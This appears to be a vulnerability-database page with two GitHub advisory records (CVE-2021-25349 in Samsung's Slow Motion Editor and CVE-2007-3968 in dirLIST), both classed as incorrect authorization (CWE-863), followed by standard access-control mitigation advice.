Vulnerability from github – Published: 2022-05-24 17:45 – Updated: 2022-08-13 00:00
VLAI
Details

Using unsafe PendingIntent in Slow Motion Editor prior to version 3.5.18.5 allows local attackers unauthorized action without permission via hijacking the PendingIntent.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-25349"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-03-25T17:15:00Z",
    "severity": "HIGH"
  },
  "details": "Using unsafe PendingIntent in Slow Motion Editor prior to version 3.5.18.5 allows local attackers unauthorized action without permission via hijacking the PendingIntent.",
  "id": "GHSA-p887-jcxc-h3qc",
  "modified": "2022-08-13T00:00:33Z",
  "published": "2022-05-24T17:45:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-25349"
    },
    {
      "type": "WEB",
      "url": "https://security.samsungmobile.com"
    },
    {
      "type": "WEB",
      "url": "https://security.samsungmobile.com/serviceWeb.smsb"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-P898-PGM6-XVX9

Vulnerability from github – Published: 2022-05-01 18:19 – Updated: 2025-04-03 15:30
VLAI
Details

index.php in dirLIST before 0.1.1 allows remote attackers to list the contents of an excluded folder via a modified URL containing the folder name.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2007-3968"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2007-07-25T17:30:00Z",
    "severity": "MODERATE"
  },
  "details": "index.php in dirLIST before 0.1.1 allows remote attackers to list the contents of an excluded folder via a modified URL containing the folder name.",
  "id": "GHSA-p898-pgm6-xvx9",
  "modified": "2025-04-03T15:30:40Z",
  "published": "2022-05-01T18:19:01Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2007-3968"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/26144"
    },
    {
      "type": "WEB",
      "url": "http://sourceforge.net/project/shownotes.php?release_id=524378"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/24987"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Architecture and Design
  • Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
  • Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Mitigation MIT-4.4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
Architecture and Design
  • For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
  • One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
System Configuration Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

No CAPEC attack patterns related to this CWE.